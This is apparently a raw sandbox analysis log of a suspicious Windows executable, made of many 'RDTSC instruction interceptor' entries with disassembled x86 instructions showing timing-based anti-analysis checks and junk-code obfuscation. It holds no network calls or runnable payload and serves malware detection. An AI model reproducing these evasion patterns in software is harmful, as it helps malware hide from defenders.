Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409981 second address: 409986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40AA59 second address: 40AAA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 jno 00007F64E0F6467Bh 0x0000000e push 00000000h 0x00000010 mov edi, dword ptr [ebp+122D2ABAh] 0x00000016 push 00000000h 0x00000018 jmp 00007F64E0F64684h 0x0000001d xchg eax, ebx 0x0000001e jg 00007F64E0F6467Eh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F64E0F6467Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40E288 second address: 40E28C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40E28C second address: 40E292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 412D11 second address: 412D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F64E0CE9AB3h 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EA84 second address: 40EA8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 413DBA second address: 413DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 413DBE second address: 413E24 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F64E0F64682h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F64E0F64678h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D33A5h], edx 0x00000036 push 00000000h 0x00000038 mov bl, 89h 0x0000003a push 00000000h 0x0000003c jp 00007F64E0F64677h 0x00000042 cld 0x00000043 mov ebx, dword ptr [ebp+1245133Eh] 0x00000049 push eax 0x0000004a pushad 0x0000004b pushad 0x0000004c pushad 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414DEE second address: 414DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414DF2 second address: 414E06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64680h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415D8A second address: 415D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414F57 second address: 414F5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415D8E second address: 415D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415D92 second address: 415D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414F5B second address: 414FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F64E0CE9AB3h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 popad 0x00000013 nop 0x00000014 xor bl, 00000001h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e or edi, dword ptr [ebp+122D29BEh] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b cmc 0x0000002c mov edi, edx 0x0000002e mov eax, dword ptr [ebp+122D0FF1h] 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F64E0CE9AA8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D2AE6h] 0x00000056 push eax 0x00000057 pushad 0x00000058 jmp 00007F64E0CE9AADh 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417EA9 second address: 417EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417098 second address: 41709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417EAF second address: 417EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F64E0F64676h 0x0000000c jmp 00007F64E0F64687h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jbe 00007F64E0F6467Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417165 second address: 41717C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41900B second address: 419029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F64E0F64676h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F64E0F6467Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 419029 second address: 419030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41819C second address: 4181AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F64E0F64676h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41916E second address: 419174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 419174 second address: 419209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F64E0F6467Bh 0x00000008 jmp 00007F64E0F64686h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F64E0F64678h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push dword ptr fs:[00000000h] 0x00000032 sub dword ptr [ebp+122D1BC0h], edi 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov ebx, dword ptr [ebp+122D336Ch] 0x00000045 mov eax, dword ptr [ebp+122D047Dh] 0x0000004b mov ebx, edi 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push ecx 0x00000052 call 00007F64E0F64678h 0x00000057 pop ecx 0x00000058 mov dword ptr [esp+04h], ecx 0x0000005c add dword ptr [esp+04h], 00000015h 0x00000064 inc ecx 0x00000065 push ecx 0x00000066 ret 0x00000067 pop ecx 0x00000068 ret 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d pushad 0x0000006e popad 0x0000006f pushad 0x00000070 popad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41A06D second address: 41A072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41E524 second address: 41E5C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64683h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F64E0F64678h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2CA5h], eax 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F64E0F64678h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b call 00007F64E0F64678h 0x00000050 pop esi 0x00000051 mov dword ptr [esp+04h], esi 0x00000055 add dword ptr [esp+04h], 00000016h 0x0000005d inc esi 0x0000005e push esi 0x0000005f ret 0x00000060 pop esi 0x00000061 ret 0x00000062 jmp 00007F64E0F64683h 0x00000067 push eax 0x00000068 jl 00007F64E0F64697h 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420B71 second address: 420BDD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F64E0CE9AA8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jne 00007F64E0CE9AAEh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F64E0CE9AA8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F64E0CE9AA8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov di, dx 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+122D1B6Dh], ebx 0x00000055 push eax 0x00000056 pushad 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421BB9 second address: 421BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F64E0F64684h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421BD5 second address: 421C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F64E0CE9AA8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F64E0CE9AA8h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov bx, ax 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007F64E0CE9AA8h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c xchg eax, esi 0x0000005d push edi 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41E718 second address: 41E71D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420DE7 second address: 420DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420DED second address: 420DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422C2E second address: 422CE6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F64E0CE9AB9h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F64E0CE9AA8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c xor dword ptr [ebp+122D3578h], esi 0x00000032 call 00007F64E0CE9AAAh 0x00000037 sub dword ptr [ebp+122D3286h], ecx 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007F64E0CE9AA8h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 00000018h 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c jmp 00007F64E0CE9AAFh 0x00000061 mov dword ptr [ebp+122D1B44h], ebx 0x00000067 xchg eax, esi 0x00000068 jnp 00007F64E0CE9AB4h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F64E0CE9AAEh 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421DD1 second address: 421E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F64E0F6467Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 nop 0x00000014 call 00007F64E0F6467Dh 0x00000019 mov edi, ecx 0x0000001b pop ebx 0x0000001c push dword ptr fs:[00000000h] 0x00000023 cmc 0x00000024 mov di, dx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e jl 00007F64E0F6467Ch 0x00000034 xor edi, dword ptr [ebp+122D2ABEh] 0x0000003a mov eax, dword ptr [ebp+122D0D21h] 0x00000040 mov edi, dword ptr [ebp+122D32ACh] 0x00000046 push FFFFFFFFh 0x00000048 push edi 0x00000049 mov edi, dword ptr [ebp+12450A93h] 0x0000004f pop edi 0x00000050 nop 0x00000051 jns 00007F64E0F6467Eh 0x00000057 push eax 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421E3E second address: 421E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425C8F second address: 425C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425C9D second address: 425D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b sbb di, D8D3h 0x00000010 push 00000000h 0x00000012 mov di, si 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F64E0CE9AA8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2324h], eax 0x00000037 xchg eax, esi 0x00000038 push edi 0x00000039 pushad 0x0000003a jg 00007F64E0CE9AA6h 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 popad 0x00000043 pop edi 0x00000044 push eax 0x00000045 jc 00007F64E0CE9AB2h 0x0000004b jo 00007F64E0CE9AACh 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42814C second address: 428150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42DE50 second address: 42DE60 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 jnp 00007F64E0CE9AB2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42DFFB second address: 42E003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42E003 second address: 42E007 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42E007 second address: 42E017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F64E0F64676h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42E2B5 second address: 42E2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AB8h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 437F11 second address: 437F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4384F8 second address: 438502 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F64E0CE9AACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4388F6 second address: 4388FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438A51 second address: 438A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438BAF second address: 438BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438D4C second address: 438D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 438D52 second address: 438D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F6467Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4432C1 second address: 443305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F64E0CE9AA6h 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F64E0CE9AB8h 0x0000001a jmp 00007F64E0CE9AB7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442123 second address: 442129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F3FB second address: 40F3FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F3FF second address: 40F40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F40C second address: 3EF151 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F64E0CE9AA8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 mov dword ptr [ebp+1244B535h], edx 0x00000016 call dword ptr [ebp+122D2B71h] 0x0000001c push eax 0x0000001d push edx 0x0000001e je 00007F64E0CE9ABBh 0x00000024 jmp 00007F64E0CE9AB5h 0x00000029 jmp 00007F64E0CE9AB8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F572 second address: 40F580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F580 second address: 40F585 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F7CC second address: 25FA3A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F64E0F6467Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12466ABAh], eax 0x00000013 movsx edx, si 0x00000016 push dword ptr [ebp+122D045Dh] 0x0000001c call dword ptr [ebp+122D1B2Fh] 0x00000022 pushad 0x00000023 jmp 00007F64E0F6467Ah 0x00000028 xor eax, eax 0x0000002a stc 0x0000002b je 00007F64E0F64677h 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 pushad 0x00000036 jmp 00007F64E0F64680h 0x0000003b or dword ptr [ebp+122D1AAAh], edx 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D2A3Eh], eax 0x00000048 jmp 00007F64E0F64689h 0x0000004d mov esi, 0000003Ch 0x00000052 cmc 0x00000053 add esi, dword ptr [esp+24h] 0x00000057 pushad 0x00000058 jmp 00007F64E0F64680h 0x0000005d call 00007F64E0F64682h 0x00000062 cmc 0x00000063 pop edx 0x00000064 popad 0x00000065 lodsw 0x00000067 mov dword ptr [ebp+122D1AEFh], eax 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 jmp 00007F64E0F6467Dh 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a stc 0x0000007b nop 0x0000007c jg 00007F64E0F64689h 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FBD9 second address: 40FC13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F64E0CE9AA6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jns 00007F64E0CE9AB4h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F64E0CE9AB2h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40FDE3 second address: 40FDF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F64E0F64676h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410202 second address: 410208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41059F second address: 41061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F64E0F6467Fh 0x0000000b nop 0x0000000c jmp 00007F64E0F6467Ah 0x00000011 lea eax, dword ptr [ebp+1248316Fh] 0x00000017 mov edi, dword ptr [ebp+122D2876h] 0x0000001d or dword ptr [ebp+122D3447h], edx 0x00000023 push eax 0x00000024 jmp 00007F64E0F64681h 0x00000029 mov dword ptr [esp], eax 0x0000002c mov ecx, dword ptr [ebp+122D2FF1h] 0x00000032 lea eax, dword ptr [ebp+1248312Bh] 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F64E0F64678h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 xor edx, 04D8F926h 0x00000058 nop 0x00000059 push edi 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d pop ecx 0x0000005e rdtsc
